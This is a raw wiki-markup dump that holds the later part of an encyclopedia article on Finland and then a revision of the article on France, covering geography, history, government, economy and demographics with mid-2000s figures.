[[Image:Fortumin_p%C3%A4%C3%A4konttori.jpg|thumb|right|Headquarters of [[Fortum]]. The economy used to be dominated by large industries.]]
''Main article: [[Economy of Finland]]''

Finland is, in terms of economy, a part of Western Europe and has a highly industrialised, largely free-market economy, with per capita output roughly equal to that of for example [[Sweden]],[[United Kingdom|UK]], [[France]] or [[Italy]]. Its key economic sector is [[manufacturing]] - principally the wood, metals, engineering, [[telecommunication]]s (especially [[Nokia]]), and electronics industries. Trade is important, with exports equalling almost one-third of [[Gross Domestic Product|GDP]]. Except for [[timber]] and several minerals, Finland depends on imports of raw materials, energy, and some components for manufactured goods. 

Because of the climate, [[agriculture|agricultural]] development is limited to maintaining self-sufficiency in basic products. [[Forestry]], an important export earner, provides a secondary occupation for the rural population. Rapidly increasing integration with Western Europe - Finland was one of the 11 countries joining the [[euro]] monetary system ([[Economic and Monetary Union of the European Union|EMU]]) on [[January 1]], [[1999]] - will dominate the economic picture over the next several years. 

According to [[Transparency International]], Finland has the second lowest level of [[political corruption|corruption]] in all the countries [[index_of_perception_of_corruption|studied in their survey]]. (Finland had topped the list of least corruption for several years, but [[Iceland]] took the best ranking in 2005.) Finland has been declared the most competitive country in the world for three consecutive years 2003-2005 (four times in the last five years) by the World Economic Forum. [http://www.weforum.org/]

See also: [[Finnish innovation system]]

== Globalization ==
[[Image:Helsinki-Vantaan_kiitotie_33.jpg|thumb|[[Helsinki-Vantaa airport]].]]
Finland's unique relationship with [[Imperial Russia|Czarist Russia]], the [[Soviet Union]], and now the [[Russia|Russian Federation]], has profoundly impacted Finland's foreign policies and ability to globalise. Finnish globalisation was tempered by their necessity to remain unprovoking to their neighbour. Even with these barriers, Finland eventually became one of the most globalised nations in the world.

After the [[history of the Soviet Union (1985-1991)|collapse of the Soviet Union]] in the early 1990's, Finland took that opportunity to free itself from the restrictions imposed on it by the [[Paris Peace Treaties, 1947]]. Free from the fear of Soviet influence, Finland was able to begin pursuing goals that better fit Finnish ideology. The Finnish-Soviet Agreement of Friendship, Co-operation, and Mutual Assistance (and the restrictions included therein) was declared null and void, but Finland recognised the Russian Federation as the successor to the USSR and was quick to draft bilateral treaties of goodwill between the two nations.

Finland began integrating into Western institutions, while not abandoning neutrality completely. Finland's policy of neutrality was moderated further from &quot;active neutrality&quot; to &quot;military non-alignment,&quot; with an emphasis on maintaining a competent independent defence. Finland joined the [[European Union]] in 1995. [[Peacekeeping|United Nations Peacekeeping]] is the only real extra-national military responsibility in which Finland participates.

== Demographics ==
''Main article: [[Demographics of Finland]]''
[[Image:Population concentrations in Finland.gif|thumb|right|population density]]
There are two [[official language]]s in Finland: [[Finnish (language)|Finnish]], spoken by 92% of the population, and [[Finland-Swedish|Swedish]], [[mother tongue]] for 5.5% of the population. [[Ethnic Finn]]s and [[Finland Swedes]] are generally considered to comprise a common [[nation]]. The Finland-Swedes are concentrated in the coastal areas, and there is a slight cultural difference between the culture of the Ethnic Finns, focused on lakes and woods, and the more outward-oriented coastal culture of the Finland-Swedes. This difference may be considered as an [[ethnic]] division, but the difference is slight and not more pronounced than the difference between [[East Finnish culture|East Finnish]] and [[West Finnish culture]].

Other minority languages include [[Russian language|Russian]] and [[Estonian language|Estonian]]. To the north, in [[Lapland]], are found the [[Sami people|Sami]], numbering less than 7,000, who like the Finns speak a [[Finno-Ugric languages|Finno-Ugric]] language. There are three [[Sami languages]] that are spoken in Finland: [[Northern Sami]], [[Inari Sami]] and [[Skolt Sami]]. The right of minority groups (in particular Sami and Roma people) to cherish their culture and language is protected by law, but usually only Sami is considered to be an official minority language.

Most Finns (83,1%) are members of the [[Evangelical Lutheran Church of Finland]], with a minority of 1% belonging to the [[Finnish Orthodox Church]] (see [[Eastern Orthodoxy]]). These two churches are the [[state church]]es of Finland. The remainder  of the population consists of relatively small groups of other [[Protestantism|Protestant]] denominations, [[Roman Catholics]], [[Islam|Muslims]] and [[Judaism|Jews]] beside the growing population of unaffiliated (15%).

After the [[Winter War]] (1939) (and confirmed by the outcome of the [[Continuation War]]) 12% of Finland's population had to be re-settled. [[War reparations]], unemployment and uncertainty regarding Finland's chances to remain [[sovereignty|sovereign]] and [[independent (nation)|independent]] of the [[Soviet Union]] contributed to considerable [[emigration]], abating first in the 1970s. Until then, some 500,000 Finns had emigrated, chiefly to [[Sweden]], although half of the emigrants ultimately re-migrated again.

Since the late 1990s, Finland has received [[refugee]]s and [[immigrant]]s at a rate comparable with the other [[Nordic]] countries, although the total ethnic-minority population remains far lower in Finland than the rest. A considerable number of immigrants have come from the former Soviet Union claiming [[ethnic]] ([[Finnic]]) kinship. However, over 20 languages are now spoken in Finland by immigrant groups of significant size &amp;mdash; that is, with at least a thousand speakers.

Finland's population has always been concentrated in the southern parts of the country, which is even more pronounced after the 20th century [[urbanization]]. The biggest and most important cities in Finland are the [[Greater Helsinki]] metropolitan area (including the cities of [[Helsinki]], [[Espoo]] and [[Vantaa]]), [[Tampere]], [[Turku]] and [[Oulu]].

After having one of the highest death rates from [[heart disease]] in the world in the 1970s, improvements in the Finnish diet and exercise have paid off. Finland is now one of the fittest countries in the world. [http://www.guardian.co.uk/befit/story/0,15652,1385645,00.html]

== Culture ==
[[Image:Benches_and_ladles_in_a_Finnish_sauna.jpg|thumb|right|Strong [[Finnish sauna]] culture is one of the last remains of the aboriginal culture.]]
[[Image:Jean sibelius.jpg|thumb|right|[[Sibelius|Jean Sibelius]], a Finnish composer of classical music.]]
[[Image:Linus_Torvalds_talking.jpeg|thumb|right|[[Linus Torvalds]], a famous Finnish [[software engineer]].]]
''Main article: [[Culture of Finland]]''

Finnish culture has been influenced by eastern European culture ([[Russia]] and [[Baltic]] region), western European culture (particularly [[Sweden]] and [[Germany]]) and [[United States|America]]n culture. Many Finns, particularly young, are also in increasing contact with cultures outside the nearby cultural sphere.

There are still differences between regions, especially minor differences in accents and vocabulary. Minorities maintain own cultural characteristics, such as Sami culture and Finland Swedes culture. Many Finns are emotionally connected to countryside and nature, because urbanization is relatively late phenomenon.

===Miscellaneaous cultural concepts===

* [[List of Finns]]
* [[Suuret suomalaiset]] List of 100 Greatest Finns
* Characteristics of Finnishness:
** [[Finnish Maiden]] - symbolising Finland
** [[Kalevala]] - The [[national epic]] of Finland
** [[Kantele]] - a musical instrument
** [[Mämmi]] - traditional Easter food
** Historical [[Finnish paganism]]
** [[Joulupukki]] - Santa Claus
** [[Sauna]] and [[Finnish sauna]]
** [[Sisu]] - perseverance
** [[Perkele]] - swear word
** [[Talkoot]] - community work
** [[Makkara]] and [[sinappi]] - sausage and mustard
** [[Salmiakki]] - salty licorice
** [[Koskenkorva]] - Finnish vodka
** [[Wiktionary:Transwiki:Reilu meininki|Reilu meininki]] - fair dealing

=== Public holidays ===
''Main article: [[Public holidays in Finland]]''
[[Image:Runebergintorttu.jpg|thumb|right|[[Runeberg's tart]], is a Finnish pastry available on the poet [[Johan Ludvig Runeberg]]'s birthday.]]

All official holidays in Finland are established by acts of [[Parliament of Finland|Parliament]]. The official holidays can be divided into [[Christianity|Christian]] and secular holidays, although some of the Christian holidays have replaced holidays of pagan origin. The main Christian holidays are [[Christmas]], [[Epiphany (feast)|Epiphany]], [[Easter]], [[Ascension|Ascension Day]], [[Pentecost]] and [[All Saints Day]]. The secular holidays are [[New Year's Day]], [[May Day]], [[Midsummer Day]] and [[Finland Independence Day|Independence Day]].

In addition to this all Sundays are official holidays but they are not as important as the special holidays. The names of the Sundays follow the liturgical calendar and they can be categorised as Christian holidays. When the standard working week in Finland was reduced to 40 hours by an act of Parliament it also meant that all Saturdays became a sort of de facto public holidays, though not official ones. Easter Sunday and Pentecost are Sundays that form part of a main holiday and they are preceded by a kind of special Saturdays.

Retail stores are prohibited by law from doing business on Sundays, except during the summer months (May through August) and in the pre-Christmas season (November and December). Business locations that have less than 400 square meters of floor space are allowed Sunday business throughout the year, with the exception of official holidays and certain Sundays, such as Mothers' Day and Fathers' Day.

== Miscellaneous topics ==
* Cellular frequency: GSM 900, GSM 1800, UMTS 2100
* Cellular technology: [[Global System for Mobile Communications|GSM]]/[[General Packet Radio Service|GPRS]]/[[Enhanced Data Rates for Global Evolution|EDGE]]/[[Universal Mobile Telecommunications System|UMTS]]
* [[Calendar date|Date]] format: DD.MM.YYYY (ex. 5.6.2005 or 05.06.2005), DD.MM.YY (ex. 5.6.05 or 05.06.05) or DD.MM. (ex. 5.6. or 05.06.) 
* [[Decimal]] separator is a comma: 123,45 
* Thousands are separated by a space or a dot: 10&amp;nbsp;000 or 10.000
* Currency signs are placed after the digits, with a space as a mandatory separator: 10 €
* The currency is euro [euro], abbreviated €, divided into 100 ''sentti'', abbreviated ''snt''
* [[Voltage]]: 230V, 50 Hz; [[Domestic AC power plugs and sockets|Power connector]]: [[Domestic AC power plugs and sockets#Type F (German 2-pin, side clip earth)|2-pin round (German)]]
* [[Postal code]]: 5 digits.

== Other related articles ==
''main article: *[[List of Finland-related topics]]''

{{sisterlinks|Finland}}
*[[Communications in Finland]]
*[[Education in Finland]]
**[[List of universities in Finland]]
*[[Finland and Globalization]]
*[[Finlandization]]
*[[Finnish innovation system]]
*[[Foreign relations of Finland]]
*[[Gun politics in Finland]]
*[[List of Finnish companies]]
*[[List of Finnish newspapers]]
*[[List of Finnish television stations]]
*[[List of Finns]]
*[[List of towns in Finland]]
*[[Finnish Defence Forces|Military of Finland]]
**[[List of Finnish wars]]
*[[Music of Finland]]
*[[Protected areas of Finland]]
*[[Tourism in Finland]]
*[[Transportation in Finland]]

== International rankings ==
* [[IMD International]]: [http://www01.imd.ch/wcy/ World Competitiveness Yearbook 2004], Rank 8 out of 60 economies (countries and regions)

*[[OECD]]: [http://www.oecd.org/pisa Programme for International Student Assessment 2003], Rank 1 out of 41 countries in math

* [[Reporters without borders]]: [http://www.rsf.fr/article.php3?id_article=8247 Second world press freedom ranking (October 2003)], Rank 1 out of 166 countries (tied with Iceland, Netherlands and Norway)

* [[Save the Children]]: [http://www.savethechildren.org/mothers/report_2004/images/pdf/SOWM_2004_final.pdf State of the World’s Mothers 2004], Rank 2 out of 119 countries (tied with Denmark)

* [[Transparency International]]: [http://www.transparency.org/pressreleases_archive/2004/2004.10.20.cpi.en.html Corruption Perceptions Index 2004], Rank 1 out of 146 countries

* [[UNDP]]: [http://hdr.undp.org/reports/global/2005/ Human Development Index 2005], Rank 13 out of 177 countries

* [[World Economic Forum]]: [http://www.weforum.org/site/homepublic.nsf/Content/Growth+Competitiveness+Index+rankings+2005+and+2004+comparisons Global Competitiveness Report 2005-2006] - Growth Competitiveness Index Ranking, Rank 1 out of 117 countries

== References ==
{{unreferenced}}

== Further Reading ==

* ''Culture Shock! Finland: A Guide to Customs and Etiquette'' Deborah Swallow
* ''Finland: Cultural Lone Wolf'' Richard D. Lewis
* ''Finland in the New Europe'' Max Jakobson
* ''A Frozen Hell: The Russo-Finnish Winter War of 1939-1940'' William Trotter
* ''A History of Finland'' Eino Jutikkala, Kauko Pirinen
* ''Hitler's Arctic War: The German Campaigns in Norway, Finland, and the USSR 1940-1945'' Chris Mann
* ''Insight Guide: Finland''
* ''Let Us Be Finns: Essays on History'' Matti Klinge 
* ''Lonely Planet Guide: Finland'' 
* ''A Short History of Finland'' Fred Singleton
* ''The White Death: The Epic of the Soviet-Finnish Winter War'' Allen F. Chew
* ''The Winter War: The Soviet Attack on Finland 1939-1940'' Eloise Engle and Lauri Paananen

== External links ==
* [http://www.iesaf.fi/ International English Speakers' Association of Finland ry] Events and information for English speakers in Finland. 
* [http://www.finlandforum.org/bb Finland Forum] Discussion forum for people interested in Finland (in English)
* [http://www.finnguide.fi/ Finnguide.fi] Finland Information in English.
* [http://www.eduskunta.fi/efakta/index01.htm Parliament of Finland] - Official Parliamentary site
* [http://www.government.fi/vn/liston/base.lsp?k=en The Finnish Government] - Official governmental site
* [http://www.president.fi/english/ The President of Finland] - Official site of the President of the Republic of Finland
* [http://www.tte.ch/finland/ The Tourism Expert] - Finland links in 10 languages
* [http://virtual.finland.fi Virtual Finland] - Main portal to Finland (Administered by Finland's government)
* [http://virtual.finland.fi/netcomm/news/showarticle.asp?intNWSAID=26989 ''Finlandia'' (a cappella version, including traditional lyrics] can be heard on Virtual Finland
* [http://www.worldwide-tax.com/finland/indexfinland.asp Finland economy and business indicators] Finland key Data on Taxes and Income Tax.
* [http://www.freewebs.com/favouritecountry/ Finland pictures ] A photo gallery about Finland.

{{EU countries}}
{{Nordic Council}}
{{Europe}}

[[Category:Finland| ]]
[[Category:Republics]]
[[Category:European Union member states]]

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[[fiu-vro:Soomõ]]</text>
    </revision>
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      <comment>Reverted edits by [[Special:Contributions/201.148.138.2|201.148.138.2]] ([[User talk:201.148.138.2|talk]]) to last version by RexNL</comment>
      <text xml:space="preserve">{{France infobox}}
{{portal}} 
'''France''' ([[International Phonetic Alphabet|pronounced]] {{IPA|/fʀɑ̃s/}} in [[French language|French]]), officially the '''French Republic''' ([[French language|French]]: ''République française'', [[International Phonetic Alphabet|pronounced]] {{IPA|/ʀepyblik fʀɑ̃sɛz/}}), is a [[country]] whose [[Metropolitan France|metropolitan territory]] is located in [[Western Europe]], and which is further made up of a collection of overseas islands and territories located in other continents. {{ref|overseasholdings}} Metropolitan France extends from the [[Mediterranean Sea]] to the [[English Channel]] and [[North Sea]], and from the [[Rhine|Rhine River]] to the [[Atlantic Ocean]]. French people often refer to Metropolitan France as ''l'Hexagone'' (the &quot;[[Hexagon]]&quot;) because of its geographical shape.

France is bordered by [[Belgium]], [[Luxembourg]], [[Germany]], [[Switzerland]], [[Italy]], [[Monaco]], [[Andorra]], and [[Spain]].  In some of its overseas parts, France also shares land borders with [[Brazil]], [[Suriname]], and the [[Netherlands Antilles]].  France is also linked to the [[United Kingdom]] via the [[Channel Tunnel]], which passes underneath the [[English Channel]].

The French Republic is a [[democracy]] which is organized as a [[unitary state|unitary]] [[semi-presidential system|semi-presidential]] [[republic]]. It is a highly [[developed country]] with the sixth-largest economy in the world in 2005.{{ref|economicrank}} Its main ideals are expressed in the [[Declaration of the Rights of Man and of the Citizen]]. France is one of the founding members of the [[European Union]], and has the largest land area of all members. France is also a founding member of the [[United Nations]]. It is one of the five permanent members of the [[United Nations Security Council]] wielding veto power, and it is also one of only eight acknowledged [[List of countries with nuclear weapons|nuclear powers]].

The [[name of France |name France]] originates from the [[Franks]], a [[Germanic peoples|Germanic tribe]] that occupied the region after the fall of the [[Roman Empire]]. More precisely, the region around [[Paris]], called [[Île-de-France (province) |Île-de-France]], was the original French royal demesne.

==Geography==
{{Main|Geography of France}}
While the main territory of France ([[metropolitan France]]; French: ''la Métropole'', ''France métropolitaine'' or informally ''l'hexagone'') is located in Western Europe, France is also constituted from a number of territories in [[North America]], the [[Caribbean]], [[South America]], the southern [[Indian Ocean]], the [[Pacific Ocean]], and [[Antarctica]] (sovereignty claims in Antarctica are governed by the [[Antarctic Treaty System]]). These territories have varying forms of government ranging from [[département d'outre-mer|overseas ''département'']] to &quot;[[pays d'outre-mer|overseas country]]&quot;.

[[Image:fr-map.png|200px|thumb|left]]
Metropolitan France possesses a wide variety of landscapes, from coastal plains in the north and west to mountain ranges in the south-east (the [[Alps]]) and the south-west (the [[Pyrenees]]). The French Alps contain the highest point in western Europe, [[Mont Blanc]] at 4810 m. There are several other elevated regions such as the [[Massif Central]], the [[Jura mountains|Jura]], the [[Vosges mountains |Vosges]], and the [[Ardennes]] which are quite rocky and forested. France also has extensive [[river]] systems such as the [[Loire River|Loire]], the [[Rhône River|Rhône]], the [[Garonne]] and the [[Seine]].

Due to its overseas departments and territories scattered on all oceans of the planet, France possesses the second-largest [[Exclusive Economic Zone]] (EEZ) in the world, covering [[1 E13 m²|11,035,000]] km&amp;sup2; (4,260,000 mi&amp;sup2;), just behind the EEZ of the [[United States]] (11,351,000 km&amp;sup2; / 4,383,000 mi&amp;sup2;), but ahead of the EEZ of [[Australia]] (8,232,000 km&amp;sup2; / 3,178,000 mi&amp;sup2;).{{ref|EEZ}} The EEZ of France covers approximately 8% of the total surface of all the EEZs of the world, whereas the land area of the French Republic is only 0.45% of the total land area on Earth.

==History==
{{Main|History of France}}
The borders of modern France are roughly the same as those of ancient [[Gaul]], which was inhabited by [[Celt|Celtic]] ''Gauls''. Gaul was conquered by the Romans in the first century BCE, and the Gauls eventually adopted [[Romance languages|Roman]] speech and culture. [[History of Christianity/Jesus, pre-4th century Christianity, and syncretism|Christianity]] also took root in the second and third centuries CE.

In the fourth century CE, Gaul's eastern frontier along the [[Rhine]] was overrun by [[Germanic tribes]], principally the [[Franks]], from whom the ancient name of &quot;Francie&quot; was derived. The modern name &quot;France&quot; derives from the name of the feudal domain of the [[Capetian]] Kings of France around Paris. Existence as a separate entity began in 843, with the division of [[Charlemagne]]'s [[Carolingian]] empire into eastern, central and western parts. The western part approximated to much of modern France.

Charlemagne's descendants ruled France until 987, when [[Hugh Capet of France|Hugh Capet]], Duke of France and Count of Paris, was crowned King of France. His descendants, the [[Capetian]], [[Valois Dynasty|Valois]] and [[House of Bourbon|Bourbon]] dynasties progressively unified the country through a series of wars and dynastic inheritance. The monarchy reached its height during the 17th century and the reign of [[Louis XIV of France|Louis XIV]]. At this time France had a tremendous influence over the European politics, economy and culture as well as possessing the largest population in Europe (see [[Demographics of France]]).

The monarchy ruled France until 1792, when the [[French Revolution]] established the [[French First Republic|First Republic]]. [[Napoleon I of France|Napoleon Bonaparte]] seized control of the Republic in 1799, making himself [[First Consul]], and later [[Emperor]] of what is now known as the [[First Empire|First French Empire]] (1804-1814). In the course of several wars, his armies conquered many countries, with members of the Bonaparte family being appointed as monarchs of newly established kingdoms. Following Napoleon's defeat in 1815, the French monarchy was re-established. In 1830, a [[French Revolution of 1830 |civil uprising]] established the [[constitutional monarchy |constitutional]] [[July Monarchy]] followed by the [[French Second Republic|Second Republic]] in 1848. The short-lived Second Republic ended in 1852 when [[Napoleon III of France|Louis-Napoléon Bonaparte]] proclaimed the [[Second French Empire]]. Louis-Napoléon was unseated following the [[Franco-Prussian war]] of 1870 to be replaced by the [[French Third Republic|Third Republic]].

[[Image:Eugène Delacroix - La liberté guidant le peuple.jpg|thumb|250px|[[Eugène Delacroix]] - La liberté guidant le peuple, Liberty leading the People, a symbol of the [[French Revolution of 1830]]]]

France's ultimate victory in [[World War I]] and [[World War II]] after initially being invaded and partly occupied by German forces did not prevent the loss of the [[French colonial empires|colonial empire]], the comparative economic status, population and status as a dominant [[nation state]]. The [[French Fourth Republic|Fourth Republic]] was established after World War II, to be replaced in 1958 by the current semi-presidential [[French Fifth Republic|Fifth Republic]] established under General [[Charles de Gaulle]].

In recent decades, France's reconciliation and cooperation with [[Germany]] have proved central to the political and economic integration of the evolving [[European Union]], including the introduction of the [[euro]] in January 1999. France has been at the forefront of European Union member states seeking to exploit the momentum of monetary union to create a more unified and capable European Union based political, defence and security apparatus. However the French electorate voted against ratification of the [[Treaty establishing a Constitution for Europe|European Constitutional Treaty]] in May 2005.

==Government and politics==
[[Image:Marque du Gouvernement de la République Française.gif|thumb|200px|right|Symbol of the French government]]
[[Image:Declaration_of_Human_Rights.jpg|thumb|right|200px|The basic principles that the French Republic must respect are found in the 1789 [[Declaration of the Rights of Man and of the Citizen]].]]
{{main articles|[[Government of France]] and [[Politics of France]]}}

The [[Constitution of France|constitution]] of the Fifth Republic was approved by [[referendum]] on [[September 28]] [[1958]]. It greatly strengthened the authority of the executive in relation to [[Government of France#The legislative branch|Parliament]].

Under the constitution, the [[President of the French Republic]] is elected directly by universal adult suffrage for a 5-year (originally 7-year) term. Presidential arbitration assures regular functioning of the public powers and the continuity of the state. The president names the prime minister, presides over the cabinet, commands the armed forces, and concludes treaties.

The French [[parliament]] is a bicameral legislature comprising a [[French National Assembly|National Assembly]] (''Assemblée Nationale'') and a [[French Senate|Senate]]. The National Assembly deputies represent local constituencies and are directly elected for 5-year terms. The Assembly has the power to dismiss the cabinet, and thus the majority in the Assembly determines the choice of government. Senators are chosen by electoral college for 6-year terms (originally 9-year terms), and one half of the seats are submited to election every 3 years starting in September 2008.{{ref|FrenchSenate2007}} The [[French Senate|Senate]]'s legislative powers are limited; in the event of disagreement between the two chambers, the National assembly has the final say, except for constitutional laws (amendments to the constitution &amp; &quot;lois organiques&quot;). The government has a strong influence in shaping the agenda of Parliament.

For the past thirty years, French politics has been characterised by the two politically opposed groupings: one [[Left-wing politics|left-wing]], centred around the [[Socialist Party (France)|French Socialist Party]], and the other [[Right-wing politics|right-wing]], centred around the [[Rally for the Republic|Rassemblement pour la République (RPR)]] and its successor the [[Union for a Popular Movement|Union pour un Mouvement Populaire (UMP)]]. The right-wing ''[[National Front (France)|Front National]]'' party made significant inroads in the early 1980's, seized on voter concern about the perceived decline of France and 'national dissolution' as a result of immigration and globalisation, by advocating tougher law-and-order and immigration policies. Lately its share of the votes has remained stable at approximately 16%.

French foreign policy has been largely shaped by membership of the [[European Union]]. On [[May 29]], [[2005]] the French electorate voted in the [[French referendum on the European Constitution|referendum]] with about 55% against ratification of the proposed [[Treaty establishing a Constitution for Europe]]. The outcome of the vote was widely regarded as crucial for the future development of the EU, as well as for France's ability to retain leadership in Europe.

France is also a member of the [[Secretariat of the Pacific Community]] (SPC), the [[Indian Ocean Commission]] (COI), an associate member of the [[Association of Caribbean States]] (ACS) and a leading member of the [[La Francophonie|International Francophone Organisation]] (OIF) of fifty-one fully or partly French-speaking countries.

France hosts the headquarters of the [[Organisation for Economic Co-operation and Development|OECD]], [[United Nations Educational, Scientific and Cultural Organization|UNESCO]], [[Interpol]], and the [[Bureau International des Poids et Mesures|International Bureau for Weights and Measures]] in charge of the international [[SI|metric system]].

{{seealso|Constitution of France|President of France|List of Prime Ministers of France|List of Foreign Ministers of France|Foreign relations of France}}

==Transportation==
{{main|Transportation in France}}

==Military== 
{{main|Military of France}}   
The French [[armed forces]] are divided into four branches: 
* [[French Army|Army]] (Armée de Terre)   
* [[Marine nationale|Navy]] (Marine Nationale)   
* [[French Air Force|Air Force]] (Armée de l'Air)    
* [[French Gendarmerie|Gendarmerie]] (Gendarmerie Nationale), a military police force which serves for the most part as a rural and general purpose police force. Military age is 17. Since the [[Algerian War of Independence]], [[conscription]] has been steadily reduced and was abolished by the government of [[Jacques Chirac]] in 1996.   
    
Among the larger European economies, France and the [[United Kingdom]] are the only significant spenders on defence: France with 2.6% of [[GDP]], and the [[United Kingdom|UK]] at 2.4%, according to 2003 figures from [[NATO]]. Those two countries account for 40% of EU defence spending. In most other EU countries, defence spending is less than 1.5% of GDP. About 10% of France's defence budget goes toward its ''[[force de frappe]]'', or [[France and weapons of mass destruction|nuclear weapons]].
{{NATO}}

==Economy==
[[Image:A380_Reveal_2.jpg|thumb|300px|The first completed [[Airbus A380]] at the &quot;A380 Reveal&quot; event in [[Toulouse]] on [[January 18]], [[2005]].]]
{{main|Economy of France}}

France's economy combines extensive private enterprise (nearly 2.5 million companies registered) with substantial (though declining) government intervention (see [[dirigisme]]). The government retains considerable influence over key segments of infrastructure sectors, with majority ownership of railway, electricity, aircraft, and telecommunication firms. It has been gradually relaxing its control over these sectors since the early [[1990s#Economics|1990s]]. The government is slowly selling off holdings in [[France Télécom]], [[Air France]], as well as the insurance, banking, and defence industries.

A member of the [[G8]] group of leading industrialised countries, it ranked as the fifth-largest economy in the world in 2004, behind the [[United States]], [[Japan]], [[Germany]], and the [[United Kingdom]]. France joined 10 other [[European Union|EU]] members to launch the [[Euro]] on [[January 1]] [[1999]], with [[euro coins]] and [[euro banknotes|banknotes]] completely replacing the French [[French franc|franc]] in early 2002.

According to the [[Organisation for Economic Co-operation and Development|OECD]], in 2004 France was the world's fifth-largest exporter of manufactured goods, behind the [[United States]], [[Germany]], [[Japan]], and [[China]], (but ahead of the [[United Kingdom]]). It was also the fourth-largest importer of manufactured goods (behind the United States, Germany, and China, but ahead of the United Kingdom and Japan).

Yet according to the OECD, in 2003 France was the OECD country that received the most [[foreign direct investment]] ([[Luxembourg]] excepted, where foreign direct investment was mostly monetary transfers to banks located in that country). With 47 billion USD of foreign direct investments, France ranked above the United States (39.9 billion USD of FDI received), the United Kingdom (14.6 billion USD of FDI received), Germany (12.9 billion USD of FDI received), or Japan (6.3 billion USD of FDI received).

At the same time, French companies invested 57.3 billion USD outside of France, ranking France as the second most important outward direct investor in the OECD, behind the United States (173.8 billion USD of outward FDI), but ahead of the United Kingdom (55.3 billion USD of outward FDI), Japan (28.8 billion USD of outward FDI), or Germany (2.6 billion USD of outward FDI).

In the 2005 edition of ''OECD in Figures'', the OECD also noted that France leads the [[G7]] countries in terms of productivity (measured as GDP per hour worked). [http://dx.doi.org/10.1787/102008121078] In 2004, the GDP per hour worked in France was 47.7 USD, ranking France above the United States (46.3 USD per hour worked), Germany (42.1 USD per hour worked), the United Kingdom (39.6 USD per hour worked), or Japan (32.5 USD per hour worked). [http://www.oecd.org/dataoecd/30/40/29867116.xls]

Despite a higher productivity per hour worked than in the US, France's GDP per capita is significantly lower than the US GDP per capita, being in fact comparable to the GDP per capita of the other European countries, which is on average 30% below US level. The reason for this is because a much smaller percentage of the French population is working compared to the US, which sinks the GDP per capita of France, despite its higher productivity. In fact, France has one of the lowest percentage of its population at work among the OECD countries. In 2003, 41.5% of the French population was working, compared to 50.7% in the US, and 47.3% in the UK. This phenomenon is the result of almost thirty years of massive unemployment in France, which has led to three consequences reducing the size of the working population: about 10% of the active population is without a job; students delay as long as possible their entry into labour market; and finally the French government gives various incentives to workers to retire in their early 50s, though these are now receding. 

As many economists have stressed repeatedly over the years, the main issue with the French economy is not an issue of productivity. In their opinion, it is an issue of structural reforms, in order to increase the size of the working population in the overall population. [[Liberal theory of economics|Liberal]] and [[Keynesian economics|Keynesian]] economists have different answers to that issue. Lower working hours and the reluctance to reform the labour market are mentionned as weak spots of the French enonomy. 

With over 75 million foreign tourists in 2003, France is [[World Tourism Rankings|ranked]] as the first tourist destination in the world, ahead of [[Spain]] (52.5 million) and the [[United States]] (40.4 million). It features cities of high cultural interest (Paris being the foremost), beaches and seaside resorts, [[ski]] resorts, and rural regions that many enjoy for their beauty and tranquillity (green tourism).

France has an important aerospace industry led by the European consortium [[Airbus]] and is the only European power (excluding Russia) to have its own national [[spaceport]] (''[[Centre Spatial Guyanais]]''). France is also the most energy independent Western country due to heavy investment in nuclear power, which also makes France the smallest producer of [[Greenhouse gas|carbon dioxide]] among the seven most industrialised countries in the world. Large tracts of fertile land, the application of modern technology, and EU subsidies have combined to make France the leading agricultural producer in Europe.

Since the end of the Second World War the government made efforts to integrate more and more with [[Germany]], both economically and politically. Today the two countries form what is often referred to as the &quot;core&quot; countries in favour of greater integration of the European Union.

{{seealso|List of French companies}}
{{OECD}}

==Demographics==
[[Image:Lyon toits 01.jpg|thumb|270px|View over the old city of [[Lyon]]]]
{{main|Demographics of France}}

Since prehistoric times, France has been a crossroads of trade, migrations, and invasions. Four basic European ethnic stocks - pre-Celtic, Celtic (Gallic and Breton), Latin, and Germanic (Franks, Visigoths, Burgundians, Vikings) - have blended over the centuries to make up its present population. Besides these &quot;historic&quot; populations, new populations have migrated to France since the 19th century: [[Belgian people|Belgians]], [[Italian people|Italians]], [[Spanish people|Spaniards]], [[Portuguese people|Portuguese]], [[Poles]], [[Armenian people|Armenians]], Jews from Eastern Europe and the Maghreb, Arabs and Berbers from the Maghreb, Black Africans, and [[Chinese|Chinese people]], to list only the most prominent. It is currently estimated that about 40% of the French population descends in varying amounts from these different waves of migrations, making France the most ethnically diverse country of Europe, despite the still popular stereotypes of France as an essentially Gallic country. Nevertheless, the immigrants from other European countries have an easier time blending in, while the 'non-European' groups tend to assimilate at a slower pace, because of greater cultural barriers and social discrimination which is, according to left-wing thought, tied to economic [[exploitation]].

===Population===
Starting with the 19th century, the historical evolution of the population in France has been extremely atypical in the [[Western World]]. Unlike the rest of Europe, France did not experience a strong population growth in the 19th century and first half of the 20th century. On the other hand, it experienced a much stronger growth in the second half of the 20th century than the rest of Europe or indeed its own growth in the previous centuries.

After 1974, France's population growth stalled, and reached its nadir in the 1990s with only 0.39% annual growth, being now more in tune with the rest of Europe, which has entered demographic decline. However, first results from the 2004 French census have greatly surprised demographers. The census revealed that population growth rebounded significantly after the 1999 census, something nobody had anticipated. Between 1999-2003, annual population growth was 0.58%. In 2004, population growth was 0.68%, almost reaching North American levels. 2004 was the year with the highest increase in French population since 1974. France is now well ahead of all other European countries (except for the [[Republic of Ireland]]). In 2003, France's natural population growth (excluding immigration) was responsible for almost all the natural growth in European population: the population of the [[European Union]] increased by 216,000 inhabitants (without immigration), of which 211,000 was the increase in France's population alone, and 5,000 was the increase in all the other countries of the EU combined. In 2004 the natural increase in France's population reached 256,000, but figures for other European countries are not available yet.

These unexpected results bear great consequences for the future. At the moment, France is the third most populous country of Europe, behind [[Russia]] and [[Germany]]. By 2050, demographers initially thought the population of metropolitan France would be 64 million inhabitants, but they now agree that their estimates were too conservative, being based on the 1990s growth rate of population. Demographers now estimate that by 2050 metropolitan France's population will be 75 million, at which time it will be the most populated country of the European Union, above Germany (71 million), the United Kingdom (59 million), and Italy (43 million) ([http://www.eubusiness.com/Factsfig/050512112010.5up5dlv7], [http://www.msnbc.msn.com/id/7935921/site/newsweek/?rf=nwnewsletter%20',true], [http://www.linternaute.com/actualite/savoir/06/demographie/exception-francaise.shtml]). If these estimates become reality, it may fundamentally alter the balance of power in [[Brussels]]. It would be the first time since the 1860s that France is the nation with the largest population within Europe (Russia excluded). In mid-2004 the EU had 460 million inhabitants, 13.6% of whom were living in France (including overseas ''départements''). By 2050 it is estimated that the population of the European Union (of the current 25 members) will have declined to 445 million inhabitants, of whom 17.5% will be living in France.

